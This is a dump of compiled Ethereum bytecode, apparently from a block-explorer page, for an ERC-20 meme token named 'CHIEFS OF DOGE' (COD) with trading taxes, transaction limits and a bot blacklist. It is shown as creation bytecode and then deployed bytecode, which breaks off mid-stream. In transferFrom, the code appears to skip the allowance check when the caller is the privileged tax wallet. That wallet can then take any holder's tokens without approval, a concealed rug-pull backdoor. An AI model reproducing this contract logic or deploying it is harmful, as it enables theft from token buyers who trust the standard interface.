000000815250905090565b5f61059461058d611112565b8484611119565b6001905092915050565b60115481565b5f6009600a6105b391906125e5565b6305f5e1006105c2919061262f565b905090565b5f6105d38484846112dc565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610613611112565b73ffffffffffffffffffffffffffffffffffffffff1603156106ed576106ec8461063b611112565b6106e78560405180606001604052806028815260200161308f6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61069e611112565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce39092919063ffffffff16565b611119565b5b600190509392505050565b5f6009905090565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610765611112565b73ffffffffffffffffffffffffffffffffffffffff1614610784575f80fd5b5f61078e30610818565b90505f8111156107a2576107a181611d45565b5b5f4790505f8111156108145760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610812573d5f803e3d5ffd5b505b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610866611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e9906126ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109b4611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906126ba565b60405180910390fd5b6009600a610a4e91906125e5565b6305f5e100610a5d919061262f565b600e819055506009600a610a7191906125e5565b6305f5e100610a80919061262f565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610ab591906125e5565b6305f5e100610ac4919061262f565b604051610ad1919061235b565b60405180910390a1565b600e5481565b610ae9611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c906126ba565b60405180910390fd5b601360149054906101000a900460ff1615610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90612722565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c613060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c4d91906125e5565b6305f5e100610c5c919061262f565b611119565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cef9190612754565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612754565b6040518363ffffffff1660e01b8152600401610db692919061277f565b6020604051808303815f875af1158015610dd2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df69190612754565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e7d30610818565b5f80610e87611003565b426040518863ffffffff1660e01b8152600401610ea9969594939291906127e8565b60606040518083038185885af1158015610ec5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eea919061285b565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f8a9291906128ab565b6020604051808303815f875af1158015610fa6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fca91906128fc565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f434f440000000000000000000000000000000000000000000000000000000000815250905090565b5f611080611079611112565b84846112dc565b6001905092915050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612997565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec90612a25565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cf919061235b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612ab3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113af90612b41565b60405180910390fd5b5f81116113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f190612bcf565b60405180910390fd5b5f611403611003565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114715750611441611003565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114ca575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a335760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561156d575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611575575f80fd5b5f600d54036115bd576115ba60646115ac600a54600d54116115995760065461159d565b6008545b85611fb090919063ffffffff16565b61202790919063ffffffff16565b90505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611666575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116b9575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117b157600e54821115611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612c37565b60405180910390fd5b600f548261171085610818565b61171a9190612c55565b111561175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290612cd2565b60405180910390fd5b6117976064611789600a54600d54116117765760065461177a565b6008545b85611fb090919063ffffffff16565b61202790919063ffffffff16565b9050600d5f8154809291906117ab90612cf0565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561183957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561187d5761187a606461186c600b54600d54116118595760075461185d565b6009545b85611fb090919063ffffffff16565b61202790919063ffffffff16565b90505b5f61188730610818565b9050601360159054906101000a900460ff161580156118f2575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561190a5750601360169054906101000a900460ff165b8015611917575060105481115b80156119265750600c54600d54115b15611a315760155443111561193d575f6014819055505b600360145410611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990612d81565b60405180910390fd5b61199f61199a8461199584601154612070565b612070565b611d45565b5f4790505f811115611a115760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611a0f573d5f803e3d5ffd5b505b60145f815480929190611a2390612cf0565b919050555043601581905550505b505b5f811115611b3257611a8b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461208890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b29919061235b565b60405180910390a35b611b828260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c25611bd982846120e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461208890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611cc884866120e590919063ffffffff16565b604051611cd5919061235b565b60405180910390a350505050565b5f838311158290611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d219190612261565b60405180910390fd5b505f8385611d389190612d9f565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d7c57611d7b612dd2565b5b604051908082528060200260200182016040528015611daa5781602001602082028036833780820191505090505b50905030815f81518110611dc157611dc0612dff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e65573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e899190612754565b81600181518110611e9d57611e9c612dff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f033060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611119565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f65959493929190612ee3565b5f604051808303815f87803b158015611f7c575f80fd5b505af1158015611f8e573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b5f808303611fc0575f9050612021565b5f8284611fcd919061262f565b9050828482611fdc9190612f68565b1461201c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201390613008565b60405180910390fd5b809150505b92915050565b5f61206883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061212e565b905092915050565b5f81831161207e5782612080565b815b905092915050565b5f8082846120969190612c55565b9050838110156120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290613070565b60405180910390fd5b8091505092915050565b5f61212683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ce3565b905092915050565b5f8083118290612174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216b9190612261565b60405180910390fd5b505f83856121829190612f68565b9050809150509392505050565b5f80fd5b5f819050919050565b6121a581612193565b81146121af575f80fd5b50565b5f813590506121c08161219c565b92915050565b5f602082840312156121db576121da61218f565b5b5f6121e8848285016121b2565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612233826121f1565b61223d81856121fb565b935061224d81856020860161220b565b61225681612219565b840191505092915050565b5f6020820190508181035f8301526122798184612229565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122aa82612281565b9050919050565b6122ba816122a0565b81146122c4575f80fd5b50565b5f813590506122d5816122b1565b92915050565b5f80604083850312156122f1576122f061218f565b5b5f6122fe858286016122c7565b925050602061230f858286016121b2565b9150509250929050565b5f8115159050919050565b61232d81612319565b82525050565b5f6020820190506123465f830184612324565b92915050565b61235581612193565b82525050565b5f60208201905061236e5f83018461234c565b92915050565b5f805f6060848603121561238b5761238a61218f565b5b5f612398868287016122c7565b93505060206123a9868287016122c7565b92505060406123ba868287016121b2565b9150509250925092565b5f60ff82169050919050565b6123d9816123c4565b82525050565b5f6020820190506123f25f8301846123d0565b92915050565b612401816122a0565b82525050565b5f60208201905061241a5f8301846123f8565b92915050565b5f602082840312156124355761243461218f565b5b5f612442848285016122c7565b91505092915050565b5f80604083850312156124615761246061218f565b5b5f61246e858286016122c7565b925050602061247f858286016122c7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561250b578086048111156124e7576124e6612489565b5b60018516156124f65780820291505b8081029050612504856124b6565b94506124cb565b94509492505050565b5f8261252357600190506125de565b81612530575f90506125de565b816001811461254657600281146125505761257f565b60019150506125de565b60ff84111561256257612561612489565b5b8360020a91508482111561257957612578612489565b5b506125de565b5060208310610133831016604e8410600b84101617156125b45782820a9050838111156125af576125ae612489565b5b6125de565b6125c184848460016124c2565b925090508184048111156125d8576125d7612489565b5b81810290505b9392505050565b5f6125ef82612193565b91506125fa836123c4565b92506126277fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612514565b905092915050565b5f61263982612193565b915061264483612193565b925082820261265281612193565b9150828204841483151761266957612668612489565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6126a46020836121fb565b91506126af82612670565b602082019050919050565b5f6020820190508181035f8301526126d181612698565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61270c6017836121fb565b9150612717826126d8565b602082019050919050565b5f6020820190508181035f83015261273981612700565b9050919050565b5f8151905061274e816122b1565b92915050565b5f602082840312156127695761276861218f565b5b5f61277684828501612740565b91505092915050565b5f6040820190506127925f8301856123f8565b61279f60208301846123f8565b9392505050565b5f819050919050565b5f819050919050565b5f6127d26127cd6127c8846127a6565b6127af565b612193565b9050919050565b6127e2816127b8565b82525050565b5f60c0820190506127fb5f8301896123f8565b612808602083018861234c565b61281560408301876127d9565b61282260608301866127d9565b61282f60808301856123f8565b61283c60a083018461234c565b979650505050505050565b5f815190506128558161219c565b92915050565b5f805f606084860312156128725761287161218f565b5b5f61287f86828701612847565b935050602061289086828701612847565b92505060406128a186828701612847565b9150509250925092565b5f6040820190506128be5f8301856123f8565b6128cb602083018461234c565b9392505050565b6128db81612319565b81146128e5575f80fd5b50565b5f815190506128f6816128d2565b92915050565b5f602082840312156129115761291061218f565b5b5f61291e848285016128e8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129816024836121fb565b915061298c82612927565b604082019050919050565b5f6020820190508181035f8301526129ae81612975565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a0f6022836121fb565b9150612a1a826129b5565b604082019050919050565b5f6020820190508181035f830152612a3c81612a03565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a9d6025836121fb565b9150612aa882612a43565b604082019050919050565b5f6020820190508181035f830152612aca81612a91565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b2b6023836121fb565b9150612b3682612ad1565b604082019050919050565b5f6020820190508181035f830152612b5881612b1f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bb96029836121fb565b9150612bc482612b5f565b604082019050919050565b5f6020820190508181035f830152612be681612bad565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c216019836121fb565b9150612c2c82612bed565b602082019050919050565b5f6020820190508181035f830152612c4e81612c15565b9050919050565b5f612c5f82612193565b9150612c6a83612193565b9250828201905080821115612c8257612c81612489565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cbc601a836121fb565b9150612cc782612c88565b602082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b5f612cfa82612193565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d2c57612d2b612489565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f612d6b6017836121fb565b9150612d7682612d37565b602082019050919050565b5f6020820190508181035f830152612d9881612d5f565b9050919050565b5f612da982612193565b9150612db483612193565b9250828203905081811115612dcc57612dcb612489565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e5e816122a0565b82525050565b5f612e6f8383612e55565b60208301905092915050565b5f602082019050919050565b5f612e9182612e2c565b612e9b8185612e36565b9350612ea683612e46565b805f5b83811015612ed6578151612ebd8882612e64565b9750612ec883612e7b565b925050600181019050612ea9565b5085935050505092915050565b5f60a082019050612ef65f83018861234c565b612f0360208301876127d9565b8181036040830152612f158186612e87565b9050612f2460608301856123f8565b612f31608083018461234c565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f7282612193565b9150612f7d83612193565b925082612f8d57612f8c612f3b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ff26021836121fb565b9150612ffd82612f98565b604082019050919050565b5f6020820190508181035f83015261301f81612fe6565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61305a601b836121fb565b915061306582613026565b602082019050919050565b5f6020820190508181035f8301526130878161304e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220318614cb407f8e80dcadd55589a7ddfb73cc25a4f9168cef419376c29da30d0464736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610122575f3560e01c8063715018a61161009f5780638f9a55c0116100635780638f9a55c01461038757806395d89b41146103b1578063a9059cbb146103db578063bf474bed14610417578063dd62ed3e1461044157610129565b8063715018a6146102f15780637380cc34146103075780637d1db4a51461031d57806388375563146103475780638da5cb5b1461035d57610129565b806323b872dd116100e657806323b872dd1461020f578063313ce5671461024b57806349bd5a5e1461027557806351bc3c851461029f57806370a08231146102b557610129565b806306b501971461012d57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101bb57806318160ddd146101e557610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610153600480360381019061014e91906121c6565b61047d565b005b348015610160575f80fd5b50610169610544565b6040516101769190612261565b60405180910390f35b34801561018a575f80fd5b506101a560048036038101906101a091906122db565b610581565b6040516101b29190612333565b60405180910390f35b3480156101c6575f80fd5b506101cf61059e565b6040516101dc919061235b565b60405180910390f35b3480156101f0575f80fd5b506101f96105a4565b604051610206919061235b565b60405180910390f35b34801561021a575f80fd5b5061023560048036038101906102309190612374565b6105c7565b6040516102429190612333565b60405180910390f35b348015610256575f80fd5b5061025f6106f8565b60405161026c91906123df565b60405180910390f35b348015610280575f80fd5b50610289610700565b6040516102969190612407565b60405180910390f35b3480156102aa575f80fd5b506102b3610725565b005b3480156102c0575f80fd5b506102db60048036038101906102d69190612420565b610818565b6040516102e8919061235b565b60405180910390f35b3480156102fc575f80fd5b5061030561085e565b005b348015610312575f80fd5b5061031b6109ac565b005b348015610328575f80fd5b50610331610adb565b60405161033e919061235b565b60405180910390f35b348015610352575f80fd5b5061035b610ae1565b005b348015610368575f80fd5b50610371611003565b60405161037e9190612407565b60405180910390f35b348015610392575f80fd5b5061039b61102a565b6040516103a8919061235b565b60405180910390f35b3480156103bc575f80fd5b506103c5611030565b6040516103d29190612261565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc91906122db565b61106d565b60405161040e9190612333565b60405180910390f35b348015610422575f80fd5b5061042b61108a565b604051610438919061235b565b60405180910390f35b34801561044c575f80fd5b506104676004803603810190610462919061244b565b611090565b604051610474919061235b565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104bd611112565b73ffffffffffffffffffffffffffffffffffffffff16146104dc575f80fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610540573d5f803e3d5ffd5b5050565b60606040518060400160405280600e81526020017f434849454673204f4620444f4745000000000000000000000000000000000000815250905090565b5f61059461058d611112565b8484611119565b6001905092915050565b60115481565b5f6009600a6105b391906125e5565b6305f5e1006105c2919061262f565b905090565b5f6105d38484846112dc565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610613611112565b73ffffffffffffffffffffffffffffffffffffffff1603156106ed576106ec8461063b611112565b6106e78560405180606001604052806028815260200161308f6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61069e611112565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce39092919063ffffffff16565b611119565b5b600190509392505050565b5f6009905090565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610765611112565b73ffffffffffffffffffffffffffffffffffffffff1614610784575f80fd5b5f61078e30610818565b90505f8111156107a2576107a181611d45565b5b5f4790505f8111156108145760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610812573d5f803e3d5ffd5b505b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610866611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e9906126ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109b4611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906126ba565b60405180910390fd5b6009600a610a4e91906125e5565b6305f5e100610a5d919061262f565b600e819055506009600a610a7191906125e5565b6305f5e100610a80919061262f565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610ab591906125e5565b6305f5e100610ac4919061262f565b604051610ad1919061235b565b60405180910390a1565b600e5481565b610ae9611112565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c906126ba565b60405180910390fd5b601360149054906101000a900460ff1615610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90612722565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c613060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c4d91906125e5565b6305f5e100610c5c919061262f565b611119565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cef9190612754565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612754565b6040518363ffffffff1660e01b8152600401610db692919061277f565b6020604051808303815f875af1158015610dd2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df69190612754565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e7d30610818565b5f80610e87611003565b426040518863ffffffff1660e01b8152600401610ea9969594939291906127e8565b60606040518083038185885af1158015610ec5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eea919061285b565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f8a9291906128ab565b6020604051808303815f875af1158015610fa6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fca91906128fc565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f434f440000000000000000000000000000000000000000000000000000000000815250905090565b5f611080611079611112565b84846112dc565b6001905092915050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612997565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec90612a25565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cf919061235b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134a576040517f08c379a00000000000000